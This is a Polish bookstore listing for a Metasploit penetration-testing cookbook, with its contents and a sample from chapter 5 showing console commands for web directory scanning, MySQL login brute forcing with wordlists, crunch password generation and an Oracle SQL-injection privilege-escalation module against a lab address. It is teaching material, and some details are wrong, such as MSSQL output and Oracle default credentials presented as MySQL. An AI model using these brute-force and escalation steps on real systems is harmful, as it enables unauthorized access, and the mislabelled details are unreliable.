Cyfroteka.pl

klikaj i czytaj online

Cyfro
Czytomierz
00055 007680 13585169 na godz. na dobę w sumie
Metasploit. Receptury pentestera. Wydanie II - ebook/pdf
Metasploit. Receptury pentestera. Wydanie II - ebook/pdf
Autor: , Liczba stron: 296
Wydawca: Helion Język publikacji: polski
ISBN: 978-83-246-9134-0 Data wydania:
Lektor:
Kategoria: ebooki >> komputery i informatyka >> hacking >> bezpieczeństwo sieci
Porównaj ceny (książka, ebook (-20%), audiobook).

Najlepsze przepisy na bezpieczeństwo Twoich danych!

Jeżeli Twój system przechowuje i przetwarza poufne informacje — dane osobowe, numery kart kredytowych, wiadomości e-mail, dane finansowe lub coś równie ważnego — jest łakomym kąskiem dla cyberprzestępców. Jeżeli wizja kradzieży Twoich danych spędza Ci sen z powiek i zastanawiasz się, jak najlepiej sprawdzić stan bezpieczeństwa Twojego systemu, to odpowiedź jest jedna — zaatakuj go sam! Testy penetracyjne to najskuteczniejsza metoda weryfikacji bezpieczeństwa.

Metasploit to narzędzie używane przez profesjonalistów do prowadzenia testów penetracyjnych. Jeżeli chcesz poznać najlepsze przepisy na jego wykorzystanie, to trafiłeś na doskonałą książkę! Zawiera ona ponad 80 receptur omawiających najbardziej skuteczne techniki testowania. W trakcie lektury dowiesz się, jak sprawnie skonfigurować Metasploit, ominąć ochronę antywirusową oraz skanować porty w systemach. Ponadto nauczysz się prowadzić testy penetracyjne sieci bezprzewodowych, korzystać z exploitów oraz używać modułów pomocniczych. Od dawna wiadomo, że najsłabszym ogniwem w systemie bezpieczeństwa jest człowiek, dlatego warto zaznajomić się z rozdziałem omawiającym pakiet narzędzi socjotechnicznych — Social Engineer-Toolkit. Książka ta jest obowiązkową pozycją na półce każdego pentestera!

Dzięki tej książce:

Testy penetracyjne — zadbaj o bezpieczeństwo Twojego systemu!

Znajdź podobne książki Ostatnio czytane w tej kategorii

Darmowy fragment publikacji:

Tytuł oryginału: Metasploit Penetration Testing Cookbook, Second Edition Tłumaczenie: Lech Lachowski ISBN: 978-83-246-9131-9 Copyright © Packt Publishing 2013. First published in the English language under the title „Metasploit Penetration Testing Cookbook, Second Edition”. Polish edition copyright © 2014 by Helion S.A. All rights reserved. All rights reserved. No part of this book may be reproduced or transmitted in any form or by any means, electronic or mechanical, including photocopying, recording or by any information storage retrieval system, without permission from the Publisher. Wszelkie prawa zastrzeżone. Nieautoryzowane rozpowszechnianie całości lub fragmentu niniejszej publikacji w jakiejkolwiek postaci jest zabronione. Wykonywanie kopii metodą kserograficzną, fotograficzną, a także kopiowanie książki na nośniku filmowym, magnetycznym lub innym powoduje naruszenie praw autorskich niniejszej publikacji. Wszystkie znaki występujące w tekście są zastrzeżonymi znakami firmowymi bądź towarowymi ich właścicieli. Autor oraz Wydawnictwo HELION dołożyli wszelkich starań, by zawarte w tej książce informacje były kompletne i rzetelne. Nie biorą jednak żadnej odpowiedzialności ani za ich wykorzystanie, ani za związane z tym ewentualne naruszenie praw patentowych lub autorskich. Autor oraz Wydawnictwo HELION nie ponoszą również żadnej odpowiedzialności za ewentualne szkody wynikłe z wykorzystania informacji zawartych w książce. Wydawnictwo HELION ul. Kościuszki 1c, 44-100 GLIWICE tel. 32 231 22 19, 32 230 98 63 e-mail: helion@helion.pl WWW: http://helion.pl (księgarnia internetowa, katalog książek) Drogi Czytelniku! Jeżeli chcesz ocenić tę książkę, zajrzyj pod adres http://helion.pl/user/opinie/metarp Możesz tam wpisać swoje uwagi, spostrzeżenia, recenzję. Printed in Poland. • Kup książkę • Poleć książkę • Oceń książkę • Księgarnia internetowa • Lubię to! » Nasza społeczność Spis tre(cid:258)ci O autorze O recenzentach Przedmowa Jaka jest zawarto(cid:258)(cid:202) tej ksi(cid:200)(cid:285)ki Czego potrzebujesz do pracy z t(cid:200) ksi(cid:200)(cid:285)k(cid:200) Dla kogo przeznaczona jest ta ksi(cid:200)(cid:285)ka Konwencje stosowane w tej ksi(cid:200)(cid:285)ce Pobieranie przyk(cid:239)adów kodu Errata Naruszenie praw autorskich 7 9 11 12 13 13 14 14 14 15 Rozdzia(cid:239) 1. Metasploit — szybkie porady dla profesjonalistów z bran(cid:285)y zabezpiecze(cid:241) 17 17 21 23 26 29 31 33 36 37 Wprowadzenie Konfiguracja Metasploit w systemie Windows Konfiguracja Metasploit w systemie Ubuntu Instalowanie Metasploit z systemem BackTrack 5 R3 Przygotowywanie testów penetracyjnych przy wykorzystaniu aplikacji VMware Konfiguracja Metasploit na maszynie wirtualnej z po(cid:239)(cid:200)czeniem SSH Instalacja i konfiguracja bazy danych PostgreSQL w systemie BackTrack 5 R3 Wykorzystanie bazy danych do przechowywania rezultatów testów penetracyjnych Korzystanie z frameworku BBQSQL Rozdzia(cid:239) 2. Zbieranie informacji oraz skanowanie Wprowadzenie Pasywne zbieranie informacji Skanowanie portów za pomoc(cid:200) narz(cid:218)dzia Nmap Skanowanie portów za pomoc(cid:200) narz(cid:218)dzia DNmap Skanowanie po(cid:258)wiadcze(cid:241) SMB za pomoc(cid:200) narz(cid:218)dzia keimpx Skanowanie wersji SSH 41 41 44 47 52 56 59 Kup książkęPoleć książkę Spis tre(cid:286)ci Skanowanie FTP Zamiatanie SNMP Skanowanie luk w zabezpieczeniach za pomoc(cid:200) narz(cid:218)dzia Nessus Skanowanie za pomoc(cid:200) narz(cid:218)dzia NeXpose Skanowanie luk w zabezpieczeniach za pomoc(cid:200) narz(cid:218)dzia OpenVAS Rozdzia(cid:239) 3. Ocena podatno(cid:258)ci na ataki na podstawie systemu operacyjnego Wprowadzenie Testy penetracyjne maszyny docelowej z systemem Windows XP SP2 Uzyskiwanie zdalnego dost(cid:218)pu poprzez wi(cid:200)zanie pow(cid:239)oki na maszynie docelowej Testy penetracyjne systemu Windows 8 Eksploatacja maszyny docelowej z systemem Linux (Ubuntu) Wstrzykiwanie bibliotek DLL w systemie Windows Rozdzia(cid:239) 4. Eksploatacja typu client-side oraz omijanie ochrony antywirusowej Wprowadzenie Luka execCommand Use-After-Free w zabezpieczeniach przegl(cid:200)darki Internet Explorer Luka Adobe Flash Player „new function” zwi(cid:200)zana z wyj(cid:200)tkiem niew(cid:239)a(cid:258)ciwego u(cid:285)ycia wska(cid:283)nika Przepe(cid:239)nienie stosu bufora formatu RTF aplikacji Microsoft Word Uszkodzenie pami(cid:218)ci przy obs(cid:239)udze formatu U3D w aplikacji Adobe Reader Generowanie pliku binarnego oraz kodu pow(cid:239)oki za pomoc(cid:200) narz(cid:218)dzia msfpayload Schematy kodowania za pomoc(cid:200) narz(cid:218)dzia msfencoding oraz wspó(cid:239)czynnik wykrycia Zastosowanie skryptu killav.rb do wy(cid:239)(cid:200)czania ochrony antywirusowej Wy(cid:239)(cid:200)czanie us(cid:239)ug programów antywirusowych z poziomu wiersza polece(cid:241) Korzystanie z narz(cid:218)dzia strzykawki Rozdzia(cid:239) 5. Praca z modu(cid:239)ami podczas testów penetracyjnych Wprowadzenie Praca z modu(cid:239)ami pomocniczymi skanera Praca z administracyjnymi modu(cid:239)ami pomocniczymi Modu(cid:239)y wstrzykni(cid:218)cia zapytania SQL oraz ataku DoS Modu(cid:239)y fazy poeksploatacyjnej Podstawy budowy modu(cid:239)u Analiza gotowego modu(cid:239)u Budowanie w(cid:239)asnego modu(cid:239)u fazy poeksploatacyjnej Rozdzia(cid:239) 6. Exploity Wprowadzenie Struktura modu(cid:239)u Korzystanie z narz(cid:218)dzia msfvenom Konwertowanie exploita na modu(cid:239) frameworku Metasploit Importowanie i testowanie nowego modu(cid:239)u exploita Fuzzowanie aplikacji za pomoc(cid:200) Metasploit Budowanie prostego fuzzera serwera FTP FileZilla 4 62 63 65 68 70 75 75 78 83 85 88 92 97 98 99 102 104 106 108 111 113 116 118 121 121 122 125 127 130 131 133 136 141 141 143 146 147 152 153 156 Kup książkęPoleć książkę Spis tre(cid:286)ci Rozdzia(cid:239) 7. Testy penetracyjne w sieci VoIP Wprowadzenie Faza skanowania i enumeracji Pozyskiwanie hase(cid:239) Przeskakiwanie VLAN-ów Podszywanie si(cid:218) pod adresy MAC w sieci VoIP Atak wykorzystuj(cid:200)cy podszywanie si(cid:218) pod inn(cid:200) osob(cid:218) Atak DoS Rozdzia(cid:239) 8. Testy penetracyjne sieci bezprzewodowej Wprowadzenie Konfigurowanie i uruchamianie narz(cid:218)dzia Fern WiFi Cracker Monitorowanie interfejsów sieciowych za pomoc(cid:200) narz(cid:218)dzia tcpdump (cid:146)amanie zabezpiecze(cid:241) szyfrowania WEP oraz WPA za pomoc(cid:200) aplikacji Fern Wi-Fi Cracker Przechwytywanie sesji przy u(cid:285)yciu adresu MAC Okre(cid:258)lanie geolokalizacji celu Technika wardrivingu Atak typu z(cid:239)y bli(cid:283)niak Konfiguracja Karmetasploit Rozdzia(cid:239) 9. Pakiet narz(cid:218)dzi socjotechnicznych — Social Engineer-Toolkit Wprowadzenie Wprowadzenie do pakietu SET Praca z plikiem konfiguracyjnym pakietu SET Praca z wektorami ataku spear-phishing Wektory ataku WWW Praca z wektorem ataku wieloaspektowego Generator zainfekowanych no(cid:258)ników danych Rozdzia(cid:239) 10. Korzystanie z Meterpretera Wprowadzenie Polecenia systemowe Meterpretera Polecenia systemu plików Meterpretera Polecenia sieciowe Meterpretera Poszerzanie uprawnie(cid:241) i migracja procesu Konfiguracja wielu kana(cid:239)ów komunikacji z celem Zacieranie (cid:258)ladów za pomoc(cid:200) polecenia timestomp Polecenie getdesktop oraz przechwytywanie uderze(cid:241) klawiatury Korzystanie ze skryptu scraper Meterpretera Technika pass the hash Ustanawianie trwa(cid:239)ego po(cid:239)(cid:200)czenia za pomoc(cid:200) backdoorów Pivoting z wykorzystaniem Meterpretera Przekierowanie portów za pomoc(cid:200) Meterpretera Interfejs API i domieszki Meterpretera Dodatek Railgun, czyli Ruby jako bro(cid:241) 161 161 164 168 169 171 173 175 179 179 180 182 187 191 194 194 198 201 205 205 206 208 212 215 218 219 223 224 225 227 229 232 234 237 239 243 245 247 250 252 255 259 5 Kup książkęPoleć książkę Spis tre(cid:286)ci Dodawanie bibliotek DLL oraz definicji funkcji do narz(cid:218)dzia Railgun Budowanie skryptu Meterpretera „Dezaktywator firewalla systemu Windows” Analizowanie wbudowanego skryptu Meterpretera Zdalne wstrzykiwanie serwera VNC Eksploatowanie podatnej na ataki aplikacji PHP Atak Incognito z wykorzystaniem Meterpretera Dodatek A. Testy penetracyjne w chmurze Wprowadzenie Testy penetracyjne w chmurze Pentesting w chmurze z wykorzystaniem serwisu hackaserver.com Skorowidz 261 263 266 271 274 276 281 281 285 286 291 6 Kup książkęPoleć książkę 5 Praca z modu(cid:239)ami podczas testów penetracyjnych W tym rozdziale: (cid:81) Praca z modu(cid:239)ami pomocniczymi skanera (cid:81) Praca z administracyjnymi modu(cid:239)ami pomocniczymi (cid:81) Modu(cid:239)y wstrzykni(cid:218)cia zapytania SQL oraz ataku DoS (cid:81) Modu(cid:239)y fazy poeksploatacyjnej (cid:81) Podstawy budowy modu(cid:239)u (cid:81) Analiza gotowego modu(cid:239)u (cid:81) Budowanie w(cid:239)asnego modu(cid:239)u fazy poeksploatacyjnej Wprowadzenie W pierwszym rozdziale omówili(cid:258)my podstawy frameworku Metasploit i stwierdzili(cid:258)my, (cid:285)e ma ar- chitektur(cid:218) modu(cid:239)ow(cid:200). Oznacza to, (cid:285)e wszystkie exploity, (cid:239)adunki, kodery oraz inne jego kom- ponenty maj(cid:200) posta(cid:202) modu(cid:239)ów. Modu(cid:239)owa architektura u(cid:239)atwia rozszerzanie funkcjonalno(cid:258)ci frameworku. Ka(cid:285)dy programista mo(cid:285)e opracowa(cid:202) swój w(cid:239)asny modu(cid:239) i zaimportowa(cid:202) go do frameworku. Pe(cid:239)ny proces testów penetracyjnych mo(cid:285)e wymaga(cid:202) uruchomienia kilku modu- (cid:239)ów. Kiedy rozpoczynamy np. faz(cid:218) eksploatacji, u(cid:285)ywamy modu(cid:239)u (cid:239)adunku, a gdy ju(cid:285) z(cid:239)amiemy zabezpieczenia maszyny docelowej, mo(cid:285)emy skorzysta(cid:202) z kilku modu(cid:239)ów poeksploatacyjnych. Kup książkęPoleć książkę Metasploit. Receptury pentestera Ró(cid:285)ne modu(cid:239)y znajd(cid:200) tak(cid:285)e zastosowanie przy (cid:239)(cid:200)czeniu si(cid:218) z baz(cid:200) danych oraz zapisywaniu w niej wyników przeprowadzanych testów. Mimo (cid:285)e modu(cid:239)y nie s(cid:200) omawiane zbyt szeroko podczas pracy z frameworkiem Metasploit, to stanowi(cid:200) jego istot(cid:218), wi(cid:218)c powiniene(cid:258) dobrze pozna(cid:202) sposób ich funkcjonowania. W tym rozdziale skoncentrujemy si(cid:218) na folderze opt/metasploit/msf3/modules, zawieraj(cid:200)cym pe(cid:239)n(cid:200) list(cid:218) u(cid:285)ytecznych modu(cid:239)ów, które mog(cid:200) u(cid:239)atwi(cid:202) zadanie przeprowadzania testów pene- tracyjnych. Stosowanie modu(cid:239)ów jest bardzo podobne do tego, co omawiali(cid:258)my do tej pory, ale istnieje pewna ró(cid:285)nica w ich funkcjonalno(cid:258)ci. W dalszej cz(cid:218)(cid:258)ci rozdzia(cid:239)u przeanalizujemy te(cid:285) niektóre z istniej(cid:200)cych modu(cid:239)ów, a na koniec zajmiemy si(cid:218) tworzeniem w(cid:239)asnych modu- (cid:239)ów dla frameworku Metasploit. Rozpocznijmy eksperymenty z modu(cid:239)ami. Praca z modu(cid:239)ami pomocniczymi skanera Zacznijmy eksperymentowanie od zapoznania si(cid:218) z modu(cid:239)ami skanera. Poznali(cid:258)my szczegó- (cid:239)owo proces skanowania, stosuj(cid:200)c narz(cid:218)dzie nmap. W tej recepturze przeanalizujemy niektóre z gotowych modu(cid:239)ów skanuj(cid:200)cych, które s(cid:200) dostarczane wraz z frameworkiem Metasploit. Cho(cid:202) nmap jest wszechstronnym narz(cid:218)dziem skanuj(cid:200)cym, mo(cid:285)e si(cid:218) zdarzy(cid:202), (cid:285)e b(cid:218)dziemy mu- sieli wykona(cid:202) skanowanie konkretnego typu, takie jak skanowanie pod k(cid:200)tem obecno(cid:258)ci bazy danych MySQL. Metasploit dostarcza pe(cid:239)n(cid:200) list(cid:218) takich u(cid:285)ytecznych skanerów. Spróbujmy zastosowa(cid:202) je w praktyce. Przygotuj si(cid:218) List(cid:218) dost(cid:218)pnych skanerów znajdziesz w folderze /opt/metasploit/msf3/modules/auxiliary/scanner. Ta lista obejmuje ponad 35 ró(cid:285)nych modu(cid:239)ów skanowania, które mog(cid:200) by(cid:202) stosowane w ró(cid:285)- nych scenariuszach testów penetracyjnych. Jak to wykona(cid:202) Nauczmy si(cid:218) krok po kroku, jak pracowa(cid:202) z pomocniczymi modu(cid:239)ami skanerów. Zaczniemy od podstawowego skanera HTTP. Przekonasz si(cid:218), (cid:285)e jest dost(cid:218)pnych wiele ró(cid:285)nych opcji ska- nowania HTTP. Poni(cid:285)ej omówimy kilka z nich: (cid:81) Przyjrzyjmy si(cid:218) skryptowi dir_scanner. Przeprowadza on skanowanie pojedynczego hosta lub ca(cid:239)ego zakresu sieci w poszukiwaniu interesuj(cid:200)cych list folderów, które mog(cid:200) zosta(cid:202) poddane dalszemu badaniu, by zebra(cid:202) informacje o celu. 122 Kup książkęPoleć książkę Rozdzia(cid:225) 5. • Praca z modu(cid:225)ami podczas testów penetracyjnych (cid:81) Aby rozpocz(cid:200)(cid:202) korzystanie z modu(cid:239)u pomocniczego, musimy wpisa(cid:202) w konsoli msfconsole nast(cid:218)puj(cid:200)ce polecenia: msf use auxiliary/scanner/http/dir_scanner msf auxiliary(dir_scanner) show options Polecenie show options wy(cid:258)wietli list(cid:218) wszystkich dost(cid:218)pnych opcjonalnych parametrów, któ- re mo(cid:285)na zastosowa(cid:202) dla modu(cid:239)u skanera. Najwa(cid:285)niejszym z nich jest parametr RHOSTS, który pozwala wskaza(cid:202) pojedyncz(cid:200) maszyn(cid:218) lub grup(cid:218) komputerów w danej sieci. Jak to dzia(cid:239)a Omówmy konkretny modu(cid:239) skanera wraz z dodatkowymi danymi wej(cid:258)ciowymi. Modu(cid:239) skane- ra mysql_login jest modu(cid:239)em ataków si(cid:239)owych (ang. brute force), który skanuje dost(cid:218)pno(cid:258)(cid:202) serwera MySQL na maszynie docelowej i próbuje zalogowa(cid:202) si(cid:218) do bazy danych poprzez atak metod(cid:200) brute force w sposób nast(cid:218)puj(cid:200)cy: msf use auxiliary/scanner/mysql/mysql_login msf auxiliary(mysql_login) show options Module options (auxiliary/scanner/mysql/mysql_login): Name Current Setting Required Description ---- --------------- -------- ----------- BLANK_PASSWORDS true yes Try blank pas... BRUTEFORCE_SPEED 5 yes How fast to... PASSWORD no A specific password... PASS_FILE no File containing... RHOSTS yes The target address... RPORT 3306 yes The target port... STOP_ON_SUCCESS false yes Stop guessing... THREADS 1 yes The number of... USERNAME no A specific user... USERPASS_FILE no File containing... USER_FILE no File containing... VERBOSE true yes Whether to print... Jak widzisz, istnieje wiele ró(cid:285)nych parametrów, które mo(cid:285)emy ustawi(cid:202) dla tego modu(cid:239)u. Im lepiej wykorzystamy mo(cid:285)liwo(cid:258)ci modu(cid:239)u, tym wi(cid:218)ksze s(cid:200) szanse na przeprowadzenie udanych testów penetracyjnych. Mo(cid:285)emy dostarczy(cid:202) pe(cid:239)n(cid:200) list(cid:218) nazw u(cid:285)ytkowników oraz hase(cid:239), które modu(cid:239) mo(cid:285)e wykorzysta(cid:202) do próby zalogowania si(cid:218) na maszynie docelowej. Dostarczmy te informacje do modu(cid:239)u: msf auxiliary(mysql_login) set USER_FILE /nazwy_uzytkownikow.txt USER_FILE = /nazwy_uzytkownikow.txt msf auxiliary(mysql_login) set PASS_FILE /hasla.txt PASS_FILE = /hasla.txt 123 Kup książkęPoleć książkę Metasploit. Receptury pentestera Jeste(cid:258)my gotowi, aby zastosowa(cid:202) metod(cid:218) ataku si(cid:239)owego. Ostatnim krokiem jest wybranie celu i wykonanie polecenia run, aby uruchomi(cid:202) modu(cid:239): msf auxiliary(mysql_login) set RHOSTS 192.168.56.101 RHOSTS = 192.168.56.101 msf auxiliary(mysql_login) run [*] 192.168.56.101:3306 - Found remote MySQL version 5.0.51a [*] 192.168.56.101:3306 Trying username: administrator with password: Jak wida(cid:202) w powy(cid:285)szym listingu, modu(cid:239) rozpocz(cid:200)(cid:239) swoje dzia(cid:239)anie od próby znalezienia serwera MySQL na maszynie docelowej. Po stwierdzeniu obecno(cid:258)ci tego serwera modu(cid:239) przeprowa- dza sprawdzanie kombinacji nazw u(cid:285)ytkownika oraz hase(cid:239) dostarczonych w pliku zewn(cid:218)trznym. Przeprowadzana w tym scenariuszu operacja jest równie(cid:285) jedn(cid:200) z najcz(cid:218)(cid:258)ciej wykonywanych w Metasploit czynno(cid:258)ci z wykorzystaniem modu(cid:239)ów. Dost(cid:218)pnych jest wiele zautomatyzowa- nych modu(cid:239)ów ataków si(cid:239)owych, które s(cid:239)u(cid:285)(cid:200) do (cid:239)amania s(cid:239)abych hase(cid:239). Zobacz równie(cid:285) Omówmy szybki i prosty sposób generowania plików hase(cid:239) za pomoc(cid:200) frameworku Metasploit. Poka(cid:283)na lista hase(cid:239) mo(cid:285)e by(cid:202) pomocna podczas testów penetracyjnych metod(cid:200) brute force. Generowanie hase(cid:239) za pomoc(cid:200) narz(cid:218)dzia Crunch Przy ka(cid:285)dym ataku si(cid:239)owym konieczne jest posiadanie obszernej listy hase(cid:239), które wykorzystamy do prób logowania. Listy hase(cid:239) mo(cid:285)na pobra(cid:202) z zasobów internetowych. Pentester mo(cid:285)e te(cid:285) wygenerowa(cid:202) list(cid:218) hase(cid:239) za pomoc(cid:200) narz(cid:218)dzia John the Ripper lub skorzysta(cid:202) z wbudowanego w system BackTrack narz(cid:218)dzia crunch, aby utworzy(cid:202) tak(cid:200) list(cid:218) na podstawie wskazanego ze- stawu znaków. Narz(cid:218)dzie crunch znajduje si(cid:218) w folderze /pentest/passwords/crunch. Je(cid:258)li go nie ma w Twojej wersji systemu BackTrack, mo(cid:285)esz je zainstalowa(cid:202), wprowadzaj(cid:200)c w oknie terminala nast(cid:218)puj(cid:200)ce polecenie: root@bt: cd /pentest/passwords root@bt:/pentest/passwords# apt-get install crunch Przyk(cid:239)adowa sk(cid:239)adnia narz(cid:218)dzia crunch jest nast(cid:218)puj(cid:200)ca: ./crunch d(cid:239)_min d(cid:239)_maks [-f /(cid:258)cie(cid:285)ka/do_pliku/charset.lst (cid:180)nazwa_zestawu_znaków][-o lista_hase(cid:239).txt][-t [niezmienny_ci(cid:200)g_znaków]@@@@] (cid:180)[-s pocz(cid:200)tkowy_ci(cid:200)g_znaków][-c liczba_linii_pliku_tekstowego] Poni(cid:285)ej opisano znaczenie niektórych u(cid:285)ytecznych parametrów narz(cid:218)dzia crunch: (cid:81) Parametr d(cid:239)_min okre(cid:258)la pocz(cid:200)tkow(cid:200) minimaln(cid:200) d(cid:239)ugo(cid:258)(cid:202) ci(cid:200)gu znaków. (cid:81) Parametr d(cid:239)_maks okre(cid:258)la ko(cid:241)cow(cid:200) maksymaln(cid:200) d(cid:239)ugo(cid:258)(cid:202) ci(cid:200)gu znaków. (cid:81) Parametr nazwa_zestawu_znaków okre(cid:258)la predefiniowany zestaw znaków, który ma by(cid:202) wykorzystany do wygenerowania listy hase(cid:239). 124 Kup książkęPoleć książkę Rozdzia(cid:225) 5. • Praca z modu(cid:225)ami podczas testów penetracyjnych (cid:81) Parametr -b: liczba[kb/mb/gb] okre(cid:258)la rozmiar pliku wyj(cid:258)ciowego w wybranej jednostce (MB, KB lub GB). (cid:81) Parametr -f /(cid:258)cie(cid:285)ka/do_pliku/charset.lst nazwa_zestawu_znaków pozwala okre(cid:258)li(cid:202) predefiniowany zestaw znaków z pliku charset.lst (np. hex-lower). (cid:81) Parametr -o lista_hase(cid:239).txt okre(cid:258)la plik, w którym zostan(cid:200) zapisane dane wyj(cid:258)ciowe. (cid:81) Parametr -t [niezmienny_ci(cid:200)g_znaków] @, ^ s(cid:239)u(cid:285)y do dodawania w wygenerowanym ha(cid:258)le niezmieniaj(cid:200)cego si(cid:218) ci(cid:200)gu znaków oraz dodatkowych, wyst(cid:218)puj(cid:200)cych w dowolnej liczbie, losowych, pojedynczych znaków o ustalonym formacie, którego poszczególne opcje oznaczaj(cid:200): @ — ma(cid:239)e litery, , — wielkie litery, — liczby, ^ — symbole. Przyk(cid:239)adowo, wygenerowane has(cid:239)o z opcj(cid:200) -t @@@helion@@@ mo(cid:285)e wygl(cid:200)da(cid:202) nast(cid:218)puj(cid:200)co bgrhelionoip. Pe(cid:239)n(cid:200) dokumentacj(cid:218) narz(cid:218)dzia crunch mo(cid:285)na znale(cid:283)(cid:202) na stronie http://sourceforge.net/projects/ crunch-wordlist/files/crunchwordlist/. Mo(cid:285)esz przej(cid:258)(cid:202) do pe(cid:239)nej dokumentacji, aby dowiedzie(cid:202) si(cid:218), w jaki sposób korzysta(cid:202) z tego narz(cid:218)dzia do generowania listy d(cid:239)ugich i skomplikowanych hase(cid:239). Inne zasoby Mo(cid:285)emy równie(cid:285) zastosowa(cid:202) listy hase(cid:239) pozyskane w wyniku przeprowadzonych przez osoby trzecie ataków na ró(cid:285)ne serwisy internetowe. Cenny zasób takich hase(cid:239) znajdziesz na stronie http://www.skullsecurity.org/wiki/index.php/Passwords. Listy hase(cid:239) w systemie BackTrack zlokalizowane s(cid:200) w folderze /pentest/passwords/wordlists. W systemie Kali Linux ten zasób znajduje si(cid:218) w katalogu /usr/share/wordlists. Praca z administracyjnymi modu(cid:239)ami pomocniczymi Kontynuuj(cid:200)c eksperymenty z modu(cid:239)ami, przejd(cid:283)my do modu(cid:239)ów administracyjnych, które mog(cid:200) by(cid:202) bardzo przydatne podczas testów penetracyjnych. Modu(cid:239)y administracyjne, w zale(cid:285)no- (cid:258)ci od ich funkcjonalno(cid:258)ci, mog(cid:200) s(cid:239)u(cid:285)y(cid:202) do ró(cid:285)nych celów, takich jak poszukiwanie panelu administracyjnego, loginu administratora itd. W tej recepturze przyjrzymy si(cid:218) prostemu ad- ministracyjnemu modu(cid:239)owi pomocniczemu o nazwie mysql_enum. 125 Kup książkęPoleć książkę Metasploit. Receptury pentestera Przygotuj si(cid:218) Modu(cid:239) mysql_enum jest specjalnym modu(cid:239)em narz(cid:218)dziowym dla serwerów baz danych MySQL. Zapewnia prost(cid:200) enumeracj(cid:218) serwera baz danych MySQL, przy za(cid:239)o(cid:285)eniu (cid:285)e odpowiednie po- (cid:258)wiadczenia u(cid:285)ytkownika s(cid:200) przyznane dla po(cid:239)(cid:200)czenia zdalnego. Zobaczmy, jak to dzia(cid:239)a w praktyce. Jak to wykona(cid:202) Poni(cid:285)sze kroki okre(cid:258)laj(cid:200) sposób pracy z administracyjnym modu(cid:239)em pomocniczym: (cid:81) Zaczniemy od uruchomienia interfejsu konsoli msfconsole i wprowadzenia (cid:258)cie(cid:285)ki dost(cid:218)pu do modu(cid:239)u pomocniczego: msf use auxiliary/admin/mysql/mysql_enum msf auxiliary(mysql_enum) show options Module options (auxiliary/admin/mysql/mysql_enum): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD no The password for the... RHOST yes The target address RPORT 3306 yes The target port USERNAME no The username to... (cid:81) Jak wida(cid:202), modu(cid:239) pozwala na zdefiniowanie takich parametrów jak PASSWORD (has(cid:239)o), USERNAME (nazwa u(cid:285)ytkownika) oraz RHOST (adres zdalnego hosta). Mo(cid:285)e to by(cid:202) pomocne przy pierwszym wyszukiwaniu potencjalnej bazy danych MySQL oraz podczas próby zdalnego logowania za pomoc(cid:200) podanych po(cid:258)wiadcze(cid:241). Przeanalizujmy dane wyj(cid:258)ciowe wy(cid:258)wietlone po wykonaniu komendy exploit: msf auxiliary(mysql_enum) exploit [*] Configuration Parameters: [*] C2 Audit Mode is Not Enabled [*] xp_cmdshell is Enabled [*] remote access is Enabled [*] allow updates is Not Enabled [*] Database Mail XPs is Not Enabled [*] Ole Automation Procedures are Not Enabled [*] Databases on the server: [*] Database name:master Modu(cid:239) odpowiada du(cid:285)(cid:200) ilo(cid:258)ci(cid:200) przydatnych informacji. Informuje nas o tym, (cid:285)e pow(cid:239)oka cmdshell oraz zdalny dost(cid:218)p zosta(cid:239)y w(cid:239)(cid:200)czone w konfiguracji MySQL na maszynie docelowej. Zwraca równie(cid:285) informacj(cid:218) o nazwie bazy danych, która jest aktualnie uruchomiona na maszynie do- celowej. 126 Kup książkęPoleć książkę Rozdzia(cid:225) 5. • Praca z modu(cid:225)ami podczas testów penetracyjnych Istnieje kilka podobnych modu(cid:239)ów przeznaczonych dla innych us(cid:239)ug, takich jak MSSQL i Apache. Dla wi(cid:218)kszo(cid:258)ci modu(cid:239)ów sposób dzia(cid:239)ania jest zbli(cid:285)ony. Pami(cid:218)taj, aby u(cid:285)y(cid:202) polecenia show options w celu sprawdzenia, które parametry s(cid:200) wymagane. Jak to dzia(cid:239)a Administracyjne modu(cid:239)y pomocnicze wykorzystuj(cid:200) prosty proces enumeracji, uruchamiaj(cid:200)c po(cid:239)(cid:200)czenie, a nast(cid:218)pnie wypróbowuj(cid:200)c ró(cid:285)ne kombinacje nazw u(cid:285)ytkownika i hase(cid:239). Za po- moc(cid:200) tych modu(cid:239)ów mo(cid:285)na równie(cid:285) sprawdzi(cid:202), czy serwer bazy danych umo(cid:285)liwia anonimo- we logowanie. Ponadto mo(cid:285)na wykona(cid:202) prób(cid:218) logowania dla domy(cid:258)lnych po(cid:258)wiadcze(cid:241). Dla serwera MySQL domy(cid:258)lne po(cid:258)wiadczenia to nazwa u(cid:285)ytkownika scott oraz has(cid:239)o tiger. Modu(cid:239)y wstrzykni(cid:218)cia zapytania SQL oraz ataku DoS Framework Metasploit jest przyjazny zarówno dla pentesterów, jak i hakerów. Jest tak dlatego, (cid:285)e pentester musi my(cid:258)le(cid:202) z perspektywy hakera, aby zabezpieczy(cid:202) swoj(cid:200) sie(cid:202), us(cid:239)ugi, aplikacje itd. Modu(cid:239)y wstrzykni(cid:218)cia zapytania SQL (ang. SQL injection — SQLi) oraz ataków typu DoS (ang. Denial of Service) pomagaj(cid:200) pentesterom w atakowaniu w(cid:239)asnych us(cid:239)ug w celu sprawdzenia, czy s(cid:200) one podatne na takie ataki. Warto wi(cid:218)c szczegó(cid:239)owo omówi(cid:202) niektóre z tych modu(cid:239)ów. Przygotuj si(cid:218) Modu(cid:239) wstrzykni(cid:218)cia SQL wykorzystuje znan(cid:200) luk(cid:218) w zabezpieczeniach okre(cid:258)lonego typu ba- zy danych, umo(cid:285)liwiaj(cid:200)c jej eksploatacj(cid:218) i zapewniaj(cid:200)c nieautoryzowany dost(cid:218)p. Wiadomo, (cid:285)e ta luka dotyczy baz danych Oracle 9i oraz 10g. Metasploit zawiera kilka modu(cid:239)ów, które wyko- rzystuj(cid:200) znany exploit baz danych Oracle w celu z(cid:239)amania ich zabezpiecze(cid:241) poprzez wstrzyk- ni(cid:218)cie zapytania. Modu(cid:239)y mo(cid:285)na znale(cid:283)(cid:202) w folderze modules/auxiliary/sqli/oracle. Jak to wykona(cid:202) Przeanalizujmy luk(cid:218) w zabezpieczeniach, która nosi nazw(cid:218) Oracle DBMS_METADATA XML: (cid:81) Ta luka zwi(cid:218)ksza uprawnienia u(cid:285)ytkownika DB_USER do poziomu administratora bazy danych DB_ADMINISTRATOR. Wykorzystamy modu(cid:239) dbms_metadata_get_xml: msf auxiliary(dbms_metadata_get_xml) show options Module options (auxiliary/sqli/oracle/dbms_metadata_get_xml): Name Current Setting Required Description ---- --------------- -------- ----------- 127 Kup książkęPoleć książkę Metasploit. Receptury pentestera DBPASS TIGER yes The password to... DBUSER SCOTT yes The username to... RHOST yes The Oracle host. 